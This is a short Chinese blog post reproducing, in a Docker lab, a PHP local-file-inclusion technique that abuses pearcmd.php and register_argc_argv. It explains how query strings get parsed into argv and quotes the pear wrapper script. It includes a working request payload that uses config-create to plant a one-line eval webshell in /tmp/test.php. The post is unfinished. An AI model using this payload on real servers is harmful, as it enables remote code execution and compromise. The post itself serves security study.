利用pearcmd.php本地文件包含(LFI)

本文主要是为了学习如何用pearcmd进行本地文件包含


0x00  环境准备

首先先在docker中安装一个php环境。

docker exec -it [container id] /bin/bash进入docker命令行中

先启动php。docker run -p 80:80 php:****

再docker ps查看ID

进入html目录生成两个文件。

ps:我这么做发现没有vim编辑器.....编辑不了。然后更新源安装vim又失败。还要去改/etc/apt/sources.list.

但是没有vim编辑器又改不了。最后找到了一个方法。

将本机文件赋值到容器里面。

最后成功安装vim。

成功访问。

0x02  复现

在此之前我们需要确定几件事情:

1.我们要找到pearcmd.php的文件位置。正常情况下在/usr/local/lib/php/pearcmd.php

2.我们要开启register_argc_argv选项,当然了docker的PHP镜像是默认开启的。

当我们开启register_argc_argv选项的时候,$_SERVER[‘argv’]就会生效。

$_SERVER['argv'] #传递给该脚本的参数。

也就是说在argv的情况下,pearcmd.php是通过$_SERVER[‘argv’]来获取参数的。

那么我们现在就要利用test2.php来看一下$_SERVER[‘argv’]是如何解析参数的。刚开始是0;

我们传入a=1&b=1。发现并不想之前&是作为分割符。“a=1&b=1”整体被当作字符串执行

然后“+”却被当作了分隔符。

总结一下。&和=都失去了它原先的功能。+变成了分割符号。

#!/bin/sh                                                                                                                               
# first find which PHP binary to use                                                                                                                                                                               
if test "x$PHP_PEAR_PHP_BIN" != "x"; then                                                                                                                                                                          
  PHP="$PHP_PEAR_PHP_BIN"                                                                                                                                                                                          
else                                                                     
  if test "/usr/local/bin/php" = '@'php_bin'@'; then
    PHP=php
  else
    PHP="/usr/local/bin/php"
  fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
  INCDIR=$PHP_PEAR_INSTALL_DIR
  INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
  if test "/usr/local/lib/php" = '@'php_dir'@'; then
    INCDIR=`dirname $0`
    INCARG=""
  else
    INCDIR="/usr/local/lib/php"
    INCARG="-d include_path=/usr/local/lib/php"
  fi
fi

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

pear命令实质上就是调用了pearcmd.php,也就是说我们可以利用pear命令的形式来进行漏洞利用。

那么先让我们了解一下pear命令吧。

PEAR命令是一个PHP扩展包管理工具,它是通过在终端或命令行界面运行pear命令来调用的。PEAR命令本身并不是直接调用pearcmd.php文件,而是通过引用PEAR库和相关文件来执行各种操作。

(1)config-create

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php

加号表示分割。

(这里是向之前环境准备的test.php传参数)

检查docker中的/tmp/test.php。被写入了一句话木马。

(2)

后续没有完成,参考https://blog.csdn.net/Mrs_H/article/details/122386511

posted @ 2024-01-25 10:45  AllFalls  阅读(335)  评论(0编辑  收藏  举报